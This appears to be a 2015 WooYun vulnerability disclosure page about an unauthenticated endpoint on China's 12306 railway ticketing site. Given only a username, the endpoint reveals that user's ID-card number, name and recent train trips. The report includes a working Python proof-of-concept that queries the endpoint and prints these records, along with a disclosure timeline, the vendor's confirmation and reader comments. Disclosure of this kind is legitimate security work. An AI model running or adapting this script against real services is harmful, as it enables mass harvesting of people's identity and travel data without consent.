12306用户乘车记录/身份证信息/姓名可任意匿名查询(附POC)

编号135483
Urlhttp://www.wooyun.org/bug.php?action=view&id=135483
漏洞状态厂商已经确认
漏洞标题12306用户乘车记录/身份证信息/姓名可任意匿名查询(附POC)
漏洞类型敏感信息泄露
厂商12306
白帽子anonymer
提交日期2015-08-20 10:20:00
公开日期2015-10-04 11:28:00
修复时间(not set)
确认时间2015-08-20 00:00:00
Confirm Spend0
漏洞标签信息泄露
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank5
漏洞简介
12306某处在知道用户信息的情况下,可以查询任意用户最近一个月的乘车记录
漏洞细节

123.png


POC

附上POC (不要构造Cookie)
usage: python 12306poc.py username
result:
身份证号码 姓名 出发站 到达站 日期

#coding:utf-8
import argparse
import requests
import json
url='http://dynamic.12306.cn/surweb/registAction.do?method=queryTakeTrainInfo'
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)'}
def get_username():
parser = argparse.ArgumentParser()
parser.add_argument('username',help='username of 12306')
args=parser.parse_args()
return args.username
if __name__=='__main__':
uname=get_username()
if uname:
data={'userName':uname}
reso=requests.post(url,headers=headers,data=data)
res=reso.content
if res.find('resultData')>0:
jsono=json.loads(res)
for x in jsono['resultData']:
info=x['info'].split('##1##')
print info[0],'\t',info[1],'\t',x['from_station_name'],'\t',x['to_station_name'],'\t',x['train_date']
else:
print 'no data'


111.png


2.jpg

修复方案

过滤敏感信息

状态信息 2015-08-20: 细节已通知厂商并且等待厂商处理中
2015-08-20: 厂商已经确认,细节仅向厂商公开
2015-08-30: 细节向核心白帽子及相关领域专家公开
2015-09-09: 细节向普通白帽子公开
2015-09-19: 细节向实习白帽子公开
2015-10-04: 细节向公众公开
厂商回复谢谢
回应信息危害等级:中漏洞Rank:5 确认时间:2015-08-20 11:27
Showing 1-15 of 15 items.
评论内容评论人点赞数评论时间

高危的才5分

goubuli02015-08-20 14:19:00

CCTV看这里

SunnyDoll02015-08-20 13:55:00

66666666

追寻02015-08-20 13:02:00

不到四分之二呀

wps201502015-08-20 11:34:00

这是个高危

浩天02015-08-20 11:28:00

牛逼

小红猪02015-08-20 11:24:00

CCTV!这里

番茄师傅02015-08-20 11:23:00

卧槽 关注

啊L川02015-08-20 11:22:00

CCAV

番茄炒蛋02015-08-20 11:21:00

@随风的风 是啊,标题被改了好多次了。。。。

anonymer02015-08-20 11:19:00

标题改了!!!ccav看这里。。

随风的风02015-08-20 11:16:00

CCTV!这里

px162402015-08-20 11:12:00

卧槽,这个挺厉害的,尼玛呀

浩天02015-08-20 11:11:00

CCTV看这里

DNS02015-08-20 10:47:00

不会炸么?

suolong02015-08-20 10:45:00